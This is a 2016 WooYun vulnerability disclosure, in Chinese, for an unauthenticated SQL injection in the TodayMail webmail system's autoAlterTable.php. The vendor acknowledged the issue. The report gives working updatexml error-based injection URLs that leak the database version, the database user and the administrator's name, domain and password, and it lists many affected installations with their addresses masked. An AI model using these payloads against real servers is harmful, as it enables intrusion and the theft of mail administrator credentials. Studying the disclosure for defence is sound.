当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0190531

漏洞标题:TodayMail邮件系统存在SQL注射漏洞

相关厂商:广东时代互联科技有限公司

漏洞作者: 路人甲

提交时间:2016-03-30 14:13

修复时间:2016-06-28 17:20

公开时间:2016-06-28 17:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-30: 细节已通知厂商并且等待厂商处理中
2016-03-30: 厂商已经确认,细节仅向厂商公开
2016-04-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-24: 细节向核心白帽子及相关领域专家公开
2016-06-03: 细节向普通白帽子公开
2016-06-13: 细节向实习白帽子公开
2016-06-28: 细节向公众公开

简要描述:

TodayMail邮件系统存在SQL注射漏洞,影响大量的用户,无需登录 直接利用

详细说明:

使用量就不多说了,下面的链接存在漏洞

/mailcontrol/autoAlterTable.php


直接给出漏洞的利用

/mailcontrol/autoAlterTable.php?baseServer=**.**.**.**&database=todaymail&tableName=todaymail%20where%20updatexml%281,concat%280x23,version%28%29%29,1%29


官网演示
0x1 http://**.**.**.**

http://**.**.**.**/mailcontrol/autoAlterTable.php?baseServer=**.**.**.**&database=todaymail&tableName=todaymail%20where%20updatexml%281,concat%280x23,version%28%29%29,1%29


1.png


0x2 http://**.**.**.**

http://**.**.**.**/mailcontrol/autoAlterTable.php?baseServer=**.**.**.**&database=todaymail&tableName=todaymail%20where%20updatexml%281,concat%280x23,user%28%29%29,1%29


2.png


0x3 http://**.**.**.**

http://**.**.**.**/mailcontrol/autoAlterTable.php?baseServer=**.**.**.**&database=todaymail&tableName=todaymail%20where%20updatexml%281,concat%280x23,user%28%29%29,1%29


3.png


获取管理员的账号密码(官网演示)

http://**.**.**.**/mailcontrol/autoAlterTable.php?baseServer=**.**.**.**&database=todaymail&tableName=todaymail%20where%20updatexml%281,concat%280x23,%28%28select%20concat%28tm_name,0x23,tm_domain,0x23,tm_passwd%29%20from%20todaymail%20limit%200,1%29%29%29,1%29


5.png


其他存在的案例,非常多,给出部分
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
**.**.**.**/webmail/login.php

漏洞证明:

获取管理员的账号密码(官网演示)

http://**.**.**.**/mailcontrol/autoAlterTable.php?baseServer=**.**.**.**&database=todaymail&tableName=todaymail%20where%20updatexml%281,concat%280x23,%28%28select%20concat%28tm_name,0x23,tm_domain,0x23,tm_passwd%29%20from%20todaymail%20limit%200,1%29%29%29,1%29


5.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-30 17:16

厂商回复:

谢谢

最新状态:

暂无